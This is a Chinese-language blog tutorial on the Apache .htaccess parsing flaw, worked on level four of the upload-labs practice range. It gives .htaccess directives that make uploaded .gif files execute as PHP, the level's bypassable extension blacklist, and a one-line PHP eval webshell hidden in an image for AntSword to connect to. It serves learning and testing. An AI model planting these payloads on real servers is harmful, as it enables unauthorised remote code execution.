折叠

.htaccess文件解析漏洞

前言

htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

一、实验环境

  • PHPstudy
  • php5.6以下不带nts的版本
  • upload-labs-master文件上传漏洞靶场
  • 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件 

二、原理

上传覆盖.htaccess文件,重写解析规则,将上传的图片马以脚本方式解析

三、.htaccess文件内容

htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。

 

第一种、虽然好用,但是会误伤其他正常文件,易被发现
1 <IfModule mime_module>
2 AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
3 SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
4 </IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现

只要文件名匹配到所定义的字符串,就会将该文件当作php解析

1 <FilesMatch "自定义.gif">
2 SetHandler application/x-httpd-php   #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
3 AddHandler php5-script .gif          #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行
4 </FilesMatch>
第三种、同1没太大区别
1 <IfModule mime_module>
2 AddType application/x-httpd-php .gif
3 </IfModule>

 

四、实验

1、选择upload-labs-master的第四关
源代码如下: 
 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists(UPLOAD_PATH)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12 
13         if (!in_array($file_ext, $deny_ext)) {
14             $temp_file = $_FILES['upload_file']['tmp_name'];
15             $img_path = UPLOAD_PATH.'/'.$file_name;
16             if (move_uploaded_file($temp_file, $img_path)) {
17                 $is_upload = true;
18             } else {
19                 $msg = '上传出错!';
20             }
21         } else {
22             $msg = '此文件不允许上传!';
23         }
24     } else {
25         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
26     }
27 }

 

2、上传写好的.htaccess文件,这里我用的第一种方法,内容如下:
1 1 <IfModule mime_module>
2 2 AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
3 3 SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
4 4 </IfModule>

 

 

 

3、制作图片马 

一句话木马文件

1 php @eval($_POST['pass']);

 

 

4、上传图片马

5、蚁剑连接

复制图片连接

  

 

 

 五、总结

避免使用.htaccess文件有两个主要原因:
1、性能
如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件。因此,无论是否真正用到,启用.htaccess都会导致性能的下降。且对于每一个请求,都需要读取一次.htaccess文件。

Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用,所以,如果请求/w1/w2/www中的页面,Apache必须查找以下文件:
/.htaccess、/w1/.htaccess、/w1/w2/.htaccess、/w1/w2/www/.htaccess
共要访问4个额外的文件,即使这些文件都不存在。而这可能仅仅由于允许根目录"/"使用.htaccess ,虽然这种情况并不多。

2、安全
允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,且如果给予用户较少的特权而不能满足其需要,则会带来额外的技术支持请求。所以,必须明确地告诉用户已经给予他们的权限,说明AllowOverride设置的值,并引导他们参阅相应的说明,以免日后生出许多麻烦。

posted @ 2022-06-25 19:12  ʚɞ无恙  阅读(1586)  评论(0编辑  收藏  举报